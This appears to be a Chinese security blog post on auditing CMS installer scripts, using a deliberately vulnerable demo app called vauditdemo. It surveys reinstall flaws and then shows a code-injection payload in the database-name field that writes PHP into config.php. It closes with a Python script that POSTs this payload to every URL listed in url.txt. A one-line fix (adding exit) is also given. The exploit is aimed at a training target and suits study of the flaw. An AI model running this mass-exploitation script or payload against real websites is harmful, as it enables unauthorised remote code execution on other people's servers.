install 代码审计到exp编写

很多人都认为我们的代码审计工作是在我们将CMS安装好之后才开始的,其实不然,在安装的时候我们的代码审计就开始了!

一般安装文件为install 访问后开始进行安装,常见安装漏洞如下


install.lock文件

在完成CMS的安装之后一般都会生成一个install.lock文件,这个文件的作用就是 "防止网站误重启安装向导,导致重新安装",这个文件也被称为"安装锁定保护文件",它是以 ".lock" 结尾,但是其文件名不一定为install,只是大多数情况下为install

而如果我们可以利用一些方法进行删除这个文件,或者重命名,那么就可以导致网站被重装


判断 lock 后跳转无exit

也就是说程序判断是否存在这个文件,如果存在则跳转到index.php,相反则进行安装程序,而程序在判断之后没有进行exit结束,导致后面代码正常执行,我们只是没看到而已,所以就造成了重装漏洞


解析 install.php.bak 漏洞

在安装完成后将Install.php rename为install.php.bak,但是由于apache的解析漏洞:如果无法识别最后的一个后缀的话,就会向上解析,那么就成为了PHP了,就会结合安装时的变量覆盖,又成重装了


变量覆盖导致重装

如果可以用GET、POST、COOKIE任意提交一个变量名为$insLockfile,给其赋空值,覆盖掉$insLockFile从而让file_exists为False就不会退出


安装文件的向导问题

如果在安装过程只能参数步骤直接以 GET 的形式提交那么可以通过step X的方式直接进入下一步安装


无验证功能,任意重装覆盖

在一些情况下甚至会出现一些CMS程序在完成安装之后即不会自动删除安装包也不会生成.lock文件来判断是否安装成功过,这时候就有可能出现 "误启安装向导" 导致系统重新安装,造成网站数据覆盖


下面进入实战阶段,系统程序安装完整代码如下(系统名称:vauditdemo):

<?php

if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
	header( "Location: ../index.php" );
}

require_once '../header.php';

function check_writeable( $file ) {
	if ( file_exists( $file ) ) {
		if ( is_dir( $file ) ) {
			$dir = $file;
			if ( $fp = @fopen( "$dir/test.txt", 'w' ) ) {
				@fclose( $fp );
				@unlink( "$dir/test.txt" );
				$writeable = 1;
			}
			else {
				$writeable = 0;
			}
		}
		else {
			if ( $fp = @fopen( $file, 'a+' ) ) {
				@fclose( $fp );
				$writeable = 1;
			}
			else {
				$writeable = 0;
			}
		}
	}
	else {
		$writeable = 2;
	}
	return $writeable;
}

$sys_info['mysql_ver']     = extension_loaded( 'mysql' ) ? 'OK' : 'NO';
$sys_info['zlib']          = function_exists( 'gzclose' ) ? 'OK' : 'NO';
$sys_info['gd']            = extension_loaded( "gd" ) ? 'OK' : 'NO';
$sys_info['socket']        = function_exists( 'fsockopen' ) ? 'OK' : 'NO';
$sys_info['curl_init']        = function_exists( 'curl_init' ) ? 'OK' : 'NO';

echo '<div id="ourhp_er">';
echo '<h1>系統環境</h1>';
echo '<p>服務器操作系統:&nbsp;....................................................................&nbsp;'.PHP_OS.'</p>';
echo '<p>Web 服務器:&nbsp;....................................................&nbsp;'.$_SERVER['SERVER_SOFTWARE'].'</p>';
echo '<p>PHP 版本:&nbsp;....................................................................&nbsp;'.PHP_VERSION.'</p>';
echo '<p>MySQL 版本:&nbsp;....................................................................&nbsp;'.$sys_info['mysql_ver'].'</p>';
echo '<p>Zlib 支持:&nbsp;....................................................................&nbsp;'.$sys_info['zlib'].'</p>';
echo '<p>GD2 支持:&nbsp;....................................................................&nbsp;'.$sys_info['gd'].'</p>';
echo '<p>Socket 支持:&nbsp;....................................................................&nbsp;'.$sys_info['socket'].'</p>';
echo '<p>curl 支持:&nbsp;....................................................................&nbsp;'.$sys_info['curl_init'].'</p>';
echo '<h1>目錄權限</h1>';

/* 检查目录 */
$check_dirs = array (
	'../sys',
	'../uploads'
);

$i = 0;
foreach ( $check_dirs as $dir ) {
	$full_dir = $dir;
	$check_writeable = check_writeable( $full_dir );
	if ( $check_writeable == '1' ) {
		echo "<p>".$check_dirs[$i]."&nbsp;...................................................................&nbsp;<font color='#00CC33'>可寫</font></p>";
	}
	elseif ( $check_writeable == '0' ) {
		echo "<p>".$check_dirs[$i]."&nbsp;...................................................................&nbsp;<font color='#ff0000'>不可寫</font></p>";
		$no_write = true;
	}
	elseif ( $check_writeable == '2' ) {
		echo "<p>".$check_dirs[$i]."&nbsp;...................................................................&nbsp;<b>不存在</b></p>";
		$no_write = true;
	}
	$i = $i + 1;
}

if ( $sys_info['gd'] == 'NO' || $sys_info['curl_init'] == 'NO' ) {
	exit( '組建不支持,無法安裝使用!' );
}else if ( $check_writeable == '0' || $check_writeable == '2' ) {
	exit( '關鍵目錄不可寫,無法安裝使用!' );
}

if ( $_POST ) {

	if ( $_POST["dbhost"] == "" ) {
		exit( '数据库连接地址不能为空' );
	}elseif ( $_POST["dbuser"] == "" ) {
		exit( '数据库数据库登录名' );
	}elseif ( $_POST["dbname"] == "" ) {
		exit( '请先创建数据库名称' );
	}

	$dbhost = $_POST["dbhost"];
	$dbuser = $_POST["dbuser"];
	$dbpass = $_POST["dbpass"];
	$dbname = $_POST["dbname"];

	$con = mysql_connect( $dbhost, $dbuser, $dbpass );
	if ( !$con ) {
		die( '数据库链接出错,请检查账号密码及地址是否正确: ' . mysql_error() );
	}

	$result = mysql_query('show databases;') or die ( mysql_error() );;
	While($row = mysql_fetch_assoc($result)){       
		$data[] = $row['Database'];
	}
	unset($result, $row);
	if (in_array(strtolower($dbname), $data)){
		mysql_close();
		echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";
		exit();
	}

	// exp;-- -";phpinfo();//
	// exp;-- ";phpinfo();//
	// exp1;# ";phpinfo();//
	mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

	$str_tmp="<?php\r\n";
	$str_end="?>";
	$str_tmp.="\r\n";
	$str_tmp.="error_reporting(0);\r\n";
	$str_tmp.="\r\n";
	$str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
	$str_tmp.="\r\n";
	$str_tmp.="include_once('../sys/lib.php');\r\n";
	$str_tmp.="\r\n";
	$str_tmp.="\$host=\"$dbhost\"; \r\n";
	$str_tmp.="\$username=\"$dbuser\"; \r\n";
	$str_tmp.="\$password=\"$dbpass\"; \r\n";
	$str_tmp.="\$database=\"$dbname\"; \r\n";
	$str_tmp.="\r\n";
	$str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
	$str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
	$str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
	$str_tmp.="if (!\$conn)\r\n";
	$str_tmp.="{\r\n";
	$str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
	$str_tmp.="\texit;\r\n";
	$str_tmp.="}\r\n";
	$str_tmp.="\r\n";
	$str_tmp.="session_start();\r\n";
	$str_tmp.="\r\n";
	$str_tmp.=$str_end;

	$fp=fopen( "../sys/config.php", "w" );
	fwrite( $fp, $str_tmp );
	fclose( $fp );

	//创建表
	mysql_select_db( $dbname, $con );
	mysql_query( "set names 'utf8'", $con );
	//导入数据库
	$sql=file_get_contents( "install.sql" );
	$a=explode( ";", $sql );
	foreach ( $a as $b ) {
		mysql_query( $b.";" );
	}
	mysql_close( $con );
	file_put_contents($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock', 'virink');
	echo "<script>if(!alert('安裝成功')){window.location.href='../index.php';}</script>";
	exit;
}else {
	echo "<form id='form1' name='form1' method='post' action=''>";
	echo "<table width='100%' border='0' align='center' cellpadding='10' id='table'>";
	echo "<tr>";
	echo "<td colspan='2'><h1></h1></td>";
	echo "</tr>";
	echo "<tr>";
	echo "<td><div align='right'>數據庫连接地址:</div></td>";
	echo "<td><input name='dbhost' type='text' id='input' value='localhost'/> *</td>";
	echo "</tr>";
	echo "<tr>";
	echo "<td><div align='right'>數據庫登錄名:</div></td>";
	echo "<td><input name='dbuser' type='text' id='input' value='root'/> *</td>";
	echo "</tr>";
	echo "<tr>";
	echo "<td><div align='right'>數據庫登錄密碼:</div></td>";
	echo "<td><input name='dbpass' type='password' id='input' value='root'/> *</td>";
	echo "</tr>";
	echo "<tr>";
	echo "<td><div align='right'>創建數據庫名稱:</div></td>";
	echo "<td><input name='dbname' type='text' id='input' value='vauditdemo'/> *</td> ";
	echo "</tr>";
	echo "<tr>";
	echo "<td></td>";
	echo "<td><input type='submit' class='btn' name='Submit' value='安裝' /></td>";
	echo "</tr>";
	echo "</table>";
	echo "</form>";
}
?>


<?php
require_once '../footer.php';
?>

注意第三行,可以看到程序时判断install.lock是否存在,如果存在则添加Location进行跳转到主页

虽然会跳转,但是下面的代码会继续正常执行,只是我们看不到了而已

已知可以重装,正常安装后,我们来看一下源代码,寻找可控变量

可以看到150行,存在可控遍历$str_tmp,往上翻,看到$str_tmp中存在可控变量

可以看到可控遍历有$dbhost,$dbuser,$dbpass,$dbname

也就是说我们只要能控制这个几个变量,就可以把文件写入到/sys/config.php

可以看到前三个都是在mysql_connect里面进行连接数据库的,无法修改,所以可以选择$dbname

往前面翻,寻找这个变量是否在其他地方执行,因为我们不能代码正常执行且getshell,不然报错就无法执行

在120行进行了创建数据库的操作,也就是说我们的语句即可以执行sql语句,并且在文件中还要闭合引号

写入的配置文件如下(/sys/config.php):

<?php

error_reporting(0);

if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
	header("Location: /install/install.php");
exit;
}

include_once('../sys/lib.php');

$host="localhost"; 
$username="root"; 
$password="root"; 
$database="demo1"; 

$conn = mysql_connect($host,$username,$password);
mysql_query('set names utf8',$conn);
mysql_select_db($database, $conn) or die(mysql_error());
if (!$conn)
{
	die('Could not connect: ' . mysql_error());
	exit;
}

session_start();

?>

可以看到$database="$dbname",接下来先闭合下执行的sql语句

exp;-- ";//    可以看到exp;-- "正常执行sql语句,sql中--表示注释,而//在php表示注释,也就相当于闭合了sql语句

接下来我们需要执行php代码,去闭合config.php

把刚才的语句写入,我们只需要在;之后//之前写入php语句即可

payload:exp;-- ";phpinfo();//

接下来我们只需要写exp即可,还是刚才所说的,程序虽然会跳转但是还是会正常执行

exp:exp50;-- ";phpinfo();//

请求url:www.vauditdemo.com/install/install.php

请求方式:post

ok,有这几点,我们就可以写个脚本,模拟发送请求

这样只是批量执行了代码,我们可以自定义exp,自己修改,这里仅作演示

修改为批量,中间exp可自行修改

修复方法也很简单,这个程序是因为没有执行完后进行结束,从而执行后面的代码

我们只需要在第5行添加exit;即可


完整脚本代码如下:

#!/usr/bin/python
#-*- coding:utf-8 -*-

import requests

def main(url):
    headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'}
    url = url+'/install/install.php'
    data= {'dbhost':'localhost',
		    'dbuser':'root',
		    'dbpass':'root',
		    'dbname':'exp50;-- ";phpinfo();//',
		    'Submit':'%E5%AE%89%E8%A3%9D'
    }

    html = requests.post(url,data=data,headers=headers)
    if 'phpinfo' in html.content:
    	    print(url,'ok')

with open('url.txt','r')as f:
	for u in f.readlines():
		main(u)
本博客所有文章如无特别注明均为原创。作者:小陈复制或转载请以超链接形式注明转自 小陈's Blog - 致力关注于黑客技术、渗透测试、网络信息安全
原文地址《install 代码审计到exp编写
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)